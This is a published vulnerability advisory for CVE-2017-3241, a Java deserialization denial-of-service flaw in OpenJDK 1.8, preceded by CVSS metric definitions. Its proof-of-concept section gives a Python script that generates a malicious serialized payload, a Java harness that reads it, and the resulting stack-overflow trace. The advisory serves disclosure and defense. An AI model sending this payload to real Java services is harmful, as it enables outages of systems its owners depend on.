The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Oracle OpenJDK Runtime Environment Build 1.8.0_112-b15 Denial Of ServiceApplication: Java SE
Vendor: Oracle
Bug: DoS
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 17.01.2017
Reference: Oracle CPU Jan 2017
Author: Roman Shalymov
1. ADVISORY INFORMATION
Title: Oracle OpenJDK - Java Serialization DoS
Advisory ID: [ERPSCAN-17-006]
Risk: High
Advisory URL:
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/
Date published: 17.01.2017
Vendor contacted: Oracle
2. VULNERABILITY INFORMATION
Class: Denial of Service
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-3241
CVSS Base Score: 9.0
3. VULNERABILITY DESCRIPTION
An attacker can cause DoS of the application which uses OpenJDK Runtime
Environment 1.8 as its core runtime engine.
4. VULNERABLE PACKAGES
OpenJDK Runtime Environment build 1.8.0_112-b15
5. SOLUTIONS AND WORKAROUNDS
Fix ObjectInputStream.skipCustomData() method, namely readObject0(false);
call in switch statement
Adress Oracle CPU January 2017
6. AUTHOR
Roman Shalymov (@shalymov)
7. TECHNICAL DESCRIPTION
An attacker can craft a malicious sequence of bytes that will cause JVM
StackOverflowError in the standard Java deserialization process if it uses
ObjectInputStream.readObject() method.
7.1. Proof of Concept
An attacker creates a malicious sequence of bytes, for example, using this
python script pwn_ser.py:
#!/usr/bin/env python2
import sys
exp = ""
#serialization header
exp += '\xac\xed\x00\x05'
exp1 = ''
exp1 += '\x72'
exp1 += '\x00\x0c'+'java.io.File'
exp1 += '\x41'*8
exp1 += '\x00'
exp1 += '\x00\x00'
exp += exp1 * 10000
sys.stdout.write(exp)
and save it in exp2.ser file
$ ./pwn_ser2.py > exp2.ser
Let's simulate deserialization process. For this purpose, we create a
simple Java program, which uses the following standard deserialization
pattern:
Serialize_read.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class Serialize_read {
public static void main(String args[]) throws Exception {
if(args.length < 1) {
System.out.println("usage: "+Serialize_read.class.getSimpleName()+"
[file]");
System.exit(-1);
}
FileInputStream fin = new FileInputStream(args[0]);
ObjectInputStream oin = new ObjectInputStream(fin);
try {
Object objFromDisk = oin.readObject();
String s = (String)objFromDisk;
System.out.println(s);
System.out.println("Successfully read!");
}catch(Exception e){}
System.exit(0);
}
}
Let's try to read our malicious file (we can also simulate this stuff over
network communication):
$ javac Serialize_read.java
$ java Serialize_read exp2.ser
It causes the following error dump:
Exception in thread "main" java.lang.StackOverflowError
at
java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)
at
java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)
at
java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)
at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)
at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)
at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
...
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
8. REPORT TIMELINE
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 17.01.2017
9. REFERENCES
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/
10. ABOUT ERPScan Research
ERPScan research team specializes in vulnerability research and analysis of
critical enterprise applications. It was acknowledged multiple times by the
largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for
discovering more than 400 vulnerabilities in their solutions (200 of them
just in SAP!).
ERPScan researchers are proud of discovering new types of vulnerabilities
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nomination at BlackHat 2013.
ERPScan experts participated as speakers, presenters, and trainers at 60+
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several Fortune 2000 companies.
ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP security
researches.
ERPScan experts were interviewed in specialized info-sec resources and
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Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc.
Our team consists of highly-qualified researchers, specialized in various
fields of cybersecurity (from web application to ICS/SCADA systems),
gathering their experience to conduct the best SAP security research.
11. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial, Retail and other organizations to
secure their mission-critical processes. Named as an aEmerging Vendora in
Security by CRN, listed among aTOP 100 SAP Solution providersa and
distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in
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ERPScanas primary mission is to close the gap between technical and
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We afollow the suna and have two hubs, located in Palo Alto and Amsterdam,
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